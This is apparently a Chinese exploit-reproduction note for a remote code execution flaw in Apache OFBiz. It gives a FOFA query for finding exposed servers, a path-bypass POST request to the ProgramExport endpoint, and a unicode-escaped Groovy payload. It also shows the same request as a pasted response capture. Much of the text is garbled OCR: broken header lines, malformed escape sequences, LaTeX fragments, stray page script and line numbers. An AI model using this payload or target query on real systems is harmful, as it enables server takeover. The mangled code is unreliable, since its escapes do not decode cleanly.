# A14-4ApacheOFBiz-电子商务平台-RCE

#### 漏洞描述:

Apache OFBiz 18.12.14之前版本存在命令执行漏洞,该漏洞源于org.apache.ofbiz.webapp.control.ControlFilter类对路径(请求URL中的特殊字符(如;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过/webtools/control/ProgramExport接口的编程导出功能执行任意Groovy代码获取系统权限。

Apache OFBiz <= 18.12.14

#### 网站图片:



#### fofa语法:

app="Apache\_OFBiz"

### 漏洞复现:

#### payload:

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1

Nost. your-puser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0 Content-Type: application/x-www-form-urlencoded

 $groovy \texttt{Program=} \\ u0074 \\ u0068 \\ u0072 \\ u006f \\ u00071 \\ u0006f \\ u00071 \\ u0006e \\ u00065 \\ u00077 \\ u00020 \\ u00045 \\ u00078 \\ u00063 \\ u00065 \\ u00070 \\ u00065 \\ u00070 \\ u0006f \\ u0006f \\ u0006f \\ u0006e \\ u00027 \\ u00069 \\ u0006d \\ u00027 \\ u0006e \\ u0$ 

## 效果图:

```
6782bytes / 362ms
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      美化 渲染 请输入定位响应
POST-/webtools/control/forgotPassword/%2e/%2e/ProgramExport-HTTP/1.1
Host ::
user-agent: Mozilla/5.0 (Windows NT-10.0; Win64; *x64; *rv:126.0) *Gecko/20100101*Firefox/126.0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             jQuery("#nav-main-box").animate({left:"-=480px"});
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            groovyProgram-\u0074\u0063\u0067\u006f\u0077\u0020\u0065\u0077\u0020\u0065\u0077\u0020\u0065\u0077\u0020\u0065\u0077\u0065\u0067\u0065\u0078\u0065\u0078\u0065\u0078\u0065\u0078\u0065\u0078\u0065\u0078\u0065\u0078\u0074\u0065\u0078\u0074\u0065\u0078\u0078\u0074\u0065\u0078\u0074\u0065\u0078\u0074\u0065\u0078\u0074\u0074\u0065\u0078\u0074\u0065\u0078\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u0074\u00
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  81
82
83
84
85
86
87
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                jQuery("#nav-main-box").animate({left:"+=480px"});
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 </div>
```